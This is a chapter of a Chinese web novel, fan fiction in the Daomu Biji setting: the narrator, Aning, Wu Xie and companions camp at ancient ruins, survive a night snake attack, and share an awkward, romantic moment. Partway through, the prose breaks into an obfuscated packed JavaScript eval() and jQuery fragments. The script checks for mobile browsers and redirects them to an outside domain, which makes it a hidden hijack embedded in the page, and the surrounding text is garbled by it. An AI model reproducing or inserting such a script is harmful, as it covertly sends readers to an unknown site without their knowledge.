6. 暧昧

作品:《阿宁,请不要死

    我被人放在了床上,紧接着有人按住我,我下意识挣扎起来,但被按的更紧,胳膊一疼,我一下子睁开眼,彻底清醒了。


    只见阿宁和吴邪一左一右压着我,阿宁正一脸严肃地从我胳膊上抽出针头,给我按了个棉签。


    吴邪看我醒了就放开我,说:“林霖,你劲还挺大啊,放心,我们给你打的退烧药,没害你,你怎么搞这么惨,一路阿宁背你过来的。”


    阿宁说:“行了,她脑震荡了,别让她说话。现在什么情况,营地怎么一个人都没有?”


    他们去外间说话,阿宁让我好好休息,我闭目养神,整个营地非常安静,这里只有我们几个人。


    我后知后觉回忆起,原书这个阶段,吴邪三叔的队伍,已经找到了西王母宫的入口,现在他们已经进去了。


    没过多久,阿宁进来了,给了我点东西吃,自己到头就睡。


    片刻,均匀的呼吸声传来,我偏头看了看她,她睡着了,脸色有些憔悴和疲惫。


    她背着我走了这么久,我虽然不算重,但也是一个成年人的重量,她累坏了。


    这一路我都没什么意识,在危机四伏的雨林,她背着我,手里只有一把匕首,一旦有什么危险,两个人被团灭的可能性很大。


    瀑布边,我救她,不求回报。


    但没想到,阿宁算报恩也好,别的什么也好,她没丢下我。


    应差阳错之下,我救她,也算救了自己一命。


    退烧药起效了,我沉沉睡去。


    一直到傍晚我才醒,身体很轻盈,没有那种发烧的昏沉感了,头依然痛,但起码平衡能力恢复了,能走路了。


    旁边床上,阿宁不见了,我出去找她。


    夕阳西下,橙红的天边可以称得上绚烂。


    我环顾四周,整个营帐是在一片巨石广场上,无数石头堆砌成了这片广场。


    三叔队伍的帐篷不小,但和巨石广场一比,十分袖珍。


    许多大型游泳池似的水池分部在各个地方,营帐后面,是一个多层的神庙建筑,一个个高低不同的石室镶嵌在上面,像大大小小的房间。


    我就像某个游戏里的小NPC,站在一片神迹建模的广场中间。


    这里是一片西王母国的遗迹。


    胖子在煮东西,张起灵没追到陈文锦,已经回来了。两个人说着什么,胖子表情很神秘,鬼鬼祟祟的:“吴邪在睡觉……这事儿,千万不能让吴邪知道”。


    阿宁在一边,听到我的动静,转过头,正好看到胖子那副样子。


    “说什么呢胖子。”阿宁快速走过来。


    “胖子你刚才说什么呢?什么不能让我知道?”吴邪也从石头后面出来。


    胖子很尴尬,连连摆手说没什么,但阿宁为陈文锦这条线索断了本来就焦灼,吴邪更是不撞南墙不回头,两个都是不依不饶的人,两方僵持了一会儿。


    胖子没办法,叹了口气。


    “你们跟我来。”


    三叔的物资非常充分,空地上有一个大遮阳棚,里面一块平坦的石头被当做桌子,上面摆满了各种文件。


    胖子移开文件,矿灯一照,石台上面有一句话。


    【我们已找到王母宫入口,入之绝无返途,自此永别,心愿将了,无憾忽念。】[1]


    阿宁皱眉,吴邪则看起来呆住了。


    这是三叔留下的信息,不希望吴邪他们跟过来。


    阿宁说:“我是一定要去的,你们怎么说?”


    一行人中,阿宁,吴邪坚持要去,胖子这次来啥都没摸到也有点不甘心,闷油瓶无论别人去不去,他都会去。


    于是大家一致决定找入口。


    我们围在篝火边吃了点东西,我的去留成了问题。


    胖子不想带我,大概是嫌我弱。但如果他们走了,我留在营帐里和潘子呆在一起,对重伤昏迷的潘子又是一个威胁。


    阿宁有点犹豫,我说:“我要和你们一起,潘子也不能一个人留在帐篷里。你们忘了来的时候,这里升起的是什么烟雾吗?”


    此话一出,所有人脸色都变了,红色烟雾表示极度危险,不得靠近。


    阿宁说:“林霖说的对,吴三省留下这样的信号,可能是不希望我们找过来,但也不排除另一种可能,这里发生过极度危险的事情,并不安全。”


    我指指巨石广场上的地面缝隙,开了上帝视角的我,知道未来会发生的危险:“这个遗址广场,地上这种缝隙很多,里面都是水,水系和沼泽相连。你们说,野鸡脖子会不会晚上从缝隙里面爬出来,悄摸把我们弄死?我和潘子留在这里,就是等死。”


    他们听进去了,乘热打铁,我趁机说晚上林中起雾,不知道有没有毒,我们最好把防毒面具都带上。


    被我这么一说,他们也警惕起来,天色已晚,远处还真雾蒙蒙起来。


    潜在的危险不得不防,我们进入帐篷,并且在上面糊上淤泥,尽量隔绝热量。


    胖子一边拿东西,一边嘀咕:“哪有那么邪乎,我看你就是胆小,这谨慎过头了吧。”


    我说:“不行你晚上出去看着,看看蛇来不来找你玩儿,要是有蛇来你就叫一声,没蛇来你就不叫。”


    胖子大怒:“到时候胖爷我被悄摸的蛇咬死了还怎么叫,你这女人,好狠毒的心!”


    我和胖子斗嘴,听见阿宁一声很轻的笑,防毒面具隔着的声音闷闷的,我几乎怀疑自己是不是幻听了,看了她好几眼。


    我们涂了两个帐篷,晚上,阿宁和闷油瓶,胖子轮流守夜。


    半夜,野鸡脖子果然来了,我睡的并不安稳,异响声直接令我清醒过来。


    四周一片漆黑,我不敢打灯,掀开被子,坐到床沿上,脚探来探去找鞋。


    这时,阿宁十分敏捷的进来,把帐篷关好,看我醒了,比了个噤声的手势。


    她把手里的矿灯熄灭。


    我点点头,一动不动,屏息凝神听着外面的动静。


    先是有悉悉索索的声音,仿佛无数虫子在地上爬,接着,一声闷响,旁边帐篷传来咯吱声,又是一声撞击的闷响,帐篷支架的断裂声咔嚓咔嚓,轰然倒地。


    过了几分钟,又是一声巨响。


    仿佛有个庞然大物,蛮横地摧毁帐篷,寻找里面它的食物。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14699062|157009||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    我大气不敢出,阿宁挪到我旁边,搂着我的肩膀,做了个安抚的动作。


    我紧张地抱住她的腰,侧耳倾听外面的动静。


    忽然,我们的帐篷剧烈抖动了下,支架发出不堪重负的声音。


    完了,帐篷要塌了,我立刻拉阿宁,她是站着的,一旦支架坍塌,有可能会砸到她。


    我没想到她也一下推了我一把,这样双重叠加的力气,就过了。我重重仰面倒在床上,阿宁竟然还没忘记我后脑勺磕的大包,护住我的头。


    真是太感谢她了,不然我这一砸,非得痛的叫出来。


    阿宁整个人支在我上面,我仰躺在床上,她一个膝盖压在床上,一只手隔着头发搂着我脖子,我的头没有碰到床。


    我们挨的很近,如果没有防毒面具,我们可能都脸贴脸了。


    但这样,我是安全的,她却没有任何保护。


    我立即伸出手,想把她扭过来,她却纹丝不动,我只好双手环住她的头,十指交叉,保护她的头颈要害。


    万幸的是,攻击停止了,巨响从别的地方传来,我们的帐篷没有被蛇群击打塌掉。


    不知过了多久,四周完全安静下来,我狂跳的心渐渐平息,天蒙蒙亮起,帐篷里也有一丝光。


    “阿宁!林霖!你们怎么样?没事吧?”吴邪猛地打开帘子,目瞪口呆,“你们,你们这是……在干嘛?”


    吴邪带来的灯很亮,我通过防毒面具的透明镜框,和阿宁对视了,她的眼睛有点惊讶……又有点别的情绪,我看不懂。


    灯一打,我这才发现,自己和阿宁的姿势有多暧昧。


    阿宁迅速起身,我也把手收回来,我恼羞成怒道:“吴邪!你进人房间不敲门啊!”


    吴邪立刻跑了。


    阿宁打亮灯,我感打赌此刻我的脸一定红了,浑身血液上涌,我的脸烫的要命。


    刚刚我环着阿宁的脖子,头微微昂起,简直像是在索吻。


    还好有防毒面具在,不然被吴邪看到,我怕是跳进黄河也洗不清了。


    但同时我又有点失落。


    搂着阿宁的时候,太紧张,脑子里竟然一点旖旎的想法都没有。


    我陷入失落又窃喜又庆幸的情绪,总之,脑子乱糟糟的。


    阿宁说话了,她向外走,脚步很快,只留给我一个酷酷的背影:“你收拾收拾,我去看看他们有没有事。”


    我哦了一声,抛开乱七八糟,穿好衣服也出去看。


    营地中,只有两座糊满了泥的帐篷安然无恙,其他帐篷,全被蛇给击倒了。


    没人出事,不过胖子被毒雾给搞失明了,被扣上防毒面具,现在老实地坐在一边,摸桌上的打火机玩。


    吴邪没忍住说他,胖子狡辩说夜里睡觉戴面具太闷了,他喘不过气才摘下来的。


    我一过来,他们都看我。昨晚我说的话,几乎可以称得上是预言了,在他们看来,我这个人,大概浑身上下都是谜团吧。


    胖子眼瞎了,耳朵倒是灵,说:“小林你来了,这次胖爷我是真服了,还真被你给说中了,哎,我说你这小孩,是有点东西啊。”